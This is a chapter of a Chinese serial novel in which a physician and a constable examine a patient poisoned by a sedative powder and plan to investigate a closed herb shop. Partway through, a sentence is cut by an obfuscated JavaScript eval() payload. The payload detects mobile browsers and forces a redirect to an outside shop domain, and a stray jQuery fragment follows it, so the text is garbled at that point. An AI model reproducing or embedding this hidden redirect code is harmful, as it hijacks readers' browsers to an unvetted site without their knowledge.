“师父!用早食啦!”白芷喊到。
姜明夷卸完门板回到后院时白芷已经吃完了,正在院子里嘴里哼着杨娘子教的调子,不成句。
走进灶房,苏叶在碗里隔了一小把葱末和一勺猪油,又从锅里舀了滚水把猪油化开,葱末也被热气激发出香味,撒上一小撮粗盐后再捞出面条叠放进碗里,每一根面条上流动着清澈的汤汁。
姜明夷也不等苏叶张罗,端起面碗放在桌上,苏叶将筷子递了过去,两人顺着桌边依次坐下。
“师父,德和堂的事您准备怎么查?”
“得等一个人。”
“什么人?”
前堂的门被人敲了敲,有人在喊姜大夫。
苏叶一边应声一边往前堂走,只见门外站着许霁,一身灰蓝便服,身旁跟了一个年轻男人。
男人面色灰败,眼白泛黄,右手垂在身侧,指节微微蜷着。
许霁见了苏叶先露出笑来:“姜大夫可在?”
“在的在的,我师父正在用早食,请稍坐片刻。”苏叶指了指诊脉处旁的条凳,示意许霁他们过去,又往后院走去准备拿壶热水。
正好姜明夷已经走出来了,目光越过苏叶,在许霁身上停了一息,又落在他身旁那个男人身上。
“来了。”
苏叶顺着她的目光看回去,明白了她未尽的话意。
许霁引着那男人往条凳走,男人脚步有些飘,跨门槛时脚抬得不够高,鞋尖在门槛上磕了一下。
身子往前一倾,许霁伸手扶住了他的手肘,恰好托住。
姜明夷将这些看在眼里,她快步往诊脉处走去,经过苏叶身边时低声道:“备好炉子。”
苏叶应了一声,转身往灶间去了。
诊脉处的窗纸是新换的,晨光滤进来白蒙蒙的,在诊桌上落了一层薄光。
姜明夷在诊桌前坐下,将脉枕挪到桌沿。
许霁让那男人在对面坐了,自己退了一步,背靠着墙。
男人坐在凳子上,两只手搁在膝盖上搓了两下。面色萎黄,两颧泛着潮红,唇色发淡,干燥得起了一层白皮。
他吸气时肩膀提得高,每一口气只吸到一半就提不上去了。
姜明夷将脉枕往前推了半寸。
“手搁上来。”
男人把手腕搁上去,手指还在微微地抖。
姜明夷三指搭落,指腹底下那缕涩滞贴在了脉根上,跟之前几位服用了安神散的病人脉象一样。
她收了手。
“只用了安神散?”
男人愣了一愣,他没有想到她连药名都说得出来,转过头去看许霁。
许霁正靠着墙双手抱胸站着,见男人神色不安,便朝他微微点了下头。
男人这才转回来,嘴唇动了动:“原是怕吃了旁的药性相冲,只用了安神散”。
姜明夷闻言从抽屉里取出方笺,笔蘸饱了墨,方子开得利索。写完将笔搁回砚台边上,方笺递过去。
“先按这方子吃三日。”
男人接过去,抖着手折了两折才折好,仔细收进怀里。
他站起来时身子晃了一下,扶住桌角稳了稳才站住。
许霁从门口走上来,没有伸手,但靠得很近,男人稍微偏一下就能碰着他的肩膀。
灶间那头风箱拉起来了,炉膛里噼啪响了两声。
姜明夷唤了一声苏叶,苏叶掀帘进来,手里拿着壶热水。
“带这位大哥去后院煎药,趁热服一碗。”
苏叶接过方笺扫了一眼,又看了看她师父。
姜明夷微微颔首,苏叶便放下水壶,引着那男人往后院去了。
过了灶间门帘,听见她放轻了声音说了句“这边走,小心台阶”。
前堂安静下来,帘子还在轻轻晃。
许霁站在门口,没有动。
姜明夷抬起头来,日光在她脸上落了一层淡金的边,她朝对面的凳子偏了偏下巴,许霁这才走过来坐下。
凳子离诊桌不远,他一坐下来,两个人中间便只隔了一张桌面的距离。
他把手肘支在膝盖上,身子往前倾着,两人的距离更近了。
“老陈不见以后码头的安神散确实没断。”他压低声音道,“只是换了点,不在仓库巷子了,换到渡口最西边那棵歪脖子柳树底下。”
“歪脖子柳树。”姜明夷听着这个地名,嘴角微微动了一下。
“码头上的工人起的名字,那棵树打我有记忆起就歪着,也不知道怎么活到现在的。”他说到这里停了一下,抬起眼来看她,“天黑以后才有人来,接头的不止一个,轮着来。”
姜明夷摸了摸手边那只茶盏,茶是苏叶早上沏的,早凉了。又站起身拿起方才苏叶拿来的热水,给许霁添了碗凉白开。
他接过去的时候指尖碰到了她的手指,水在盏里微微荡了一下。
“许衙役怎么知道的?”
“蹲出来的。”他说这三个字时嘴角往旁边扯了一下,似是自嘲,“连蹲了三夜。头两天没人,白蹲了。”
“许衙役好毅力。”
“查了一半扔在那儿,回去睡不着觉。”
他说这话的时候浑不在意,倒是没觉得自己遭罪。
义诊那三天,这个人蹲在条凳上一个个记名字的样子还在眼前,确实极有耐心的一人。
“许衙役,你蹲……守出来的那两人都认得吗?”
“放包袱的那个认得,是码头上的工人。”他顿了顿,“取的那个反而没见过,是张生面孔。”
“方才这位的脉,确实是服用了安神散后才有的。”她抬起眼来看着他,“你那张纸上,买药的人有多少?”
许霁抬起眼来看着她,两人目光碰在一处,谁也没有先移开。
“去过你义诊摊的,有三成。”
三成。
可她只诊出了一个异常的脉象。
姜明夷端着茶盏的手停在半空,诊脉处很静,静得能听见灶间那头药汤咕嘟咕嘟翻滚的声音。
她把手搁回桌上,茶盏里的水还微微荡着。
许霁从怀里掏出那张纸,在桌上展开。
他往前凑了凑,肩膀几乎擦着她的。
纸已经磨得快破了,折痕处透光,边角毛得起了绒,上头一行一行记着人名、日子、症状,排得密密麻麻。
字写得快,一笔一划却不潦草,落笔的力道很稳。
他低头看了一眼翘起来的边角,伸手压了压,没压住,又翘起来了。
他索性不管了,将手掌摊开按在纸上,手指修长,指节
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17797232|210473||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
分明,按在磨破的毛边纸上,这双手显得格外干净。
“义诊以后新添的几个去买药的,我都写在最底下了。”
姜明夷低头看了好一会儿。
这么近的距离,她闻到他身上有一股很淡的皂角味,混着早晨江风灌进衣服里的凉意。
有几个名字她认得,义诊时确实来过的,更多的没见过。
“你那个搭档知道吗?”
许霁摇了摇头:“老刘以为我蹲码头是为了躲巡街。只要不给他惹祸,干什么他都不管。”
“府衙里头呢?”
“没跟人提过。”
诊桌上的光从窗纸那边挪过来,正好打在两个人中间的那块空处。
姜明夷眸光一动,轻声道:“码头东边有一排旧铺面,你知不知道?”
“渡口往东走,靠江那排?”
“听说其中一间原先是个药材铺子,叫德和堂。”
许霁把这三个字念了一遍,略有些不解地看着姜明夷。
“关了有些日子了,听说铺子生意不差,关得突然,掌柜的也不见了。”姜明夷将茶盏搁回桌上,“你在府衙走动,能不能查到这间铺子关张的时候有没有留过文书?且那掌柜的叫什么,铺子赁的是谁的产。”
许霁从怀里摸出笔,在那张纸的边角上写下了德和堂三个字。
她的目光落在他握笔的手上,下笔很轻,笔锋收得干净。
他把纸折好收回去,抬起头来。
“姜大夫,义诊那会儿你说只管治病,不查案子。”
姜明夷看着许霁,他的眼睛被窗纸滤过的光打得有些浅,但望过来的分量没有变轻。
“那这间铺子……”
姜明夷将桌上散着的方笺纸拢了拢,纸边在桌面上刮出细碎的声响。
“铺子的事得查,病才能治,这两件事本就分不开。”
许霁看了她两息的功夫,然后咧嘴笑开了,笑意从眼睛里漏出来,蔓延到了整张脸。
随即把纸收进怀里,站起来时碰了一下桌角,茶盏晃了晃,他伸手按稳了才松开。
“今日获益匪浅,等下回来,再和姜大夫讨教。”
门帘一掀,苏叶端着空药碗走出来,男人跟在她身后,脸色还是灰败,但精神头感觉要稍微好一些。
姜明夷走上前又把了一下他的脉问道:“大哥用安神散多久了?”
“有大半年了。”
“不间断服用?”
“中途断过几天,又续上了。”
姜明夷顿了顿,道:“回家后按方子吃完,若有不适之处就再来,若有好转就按方子在柳江城自己找铺子抓药再吃六副。”
他点点头,走到许霁跟前,许霁在他肩上拍了拍,两人往外面走去。
走到门口时,许霁突然侧过身来,日头从他背后打过来,把他的脸罩在阴影里,只看见一个轮廓。
风把他的衣角往门里吹,灰蓝色的布面一扬一落的。
“姜大夫。”
姜明夷抬起眼来,从这个角度看过去,许霁正逆着光站在门槛上,面目隐在暗处,只余身形轮廓。
“其实这也算是医者的本分,对吗?”
说完,他轻轻笑了一下,也不等姜明夷答,转身迈出了门槛。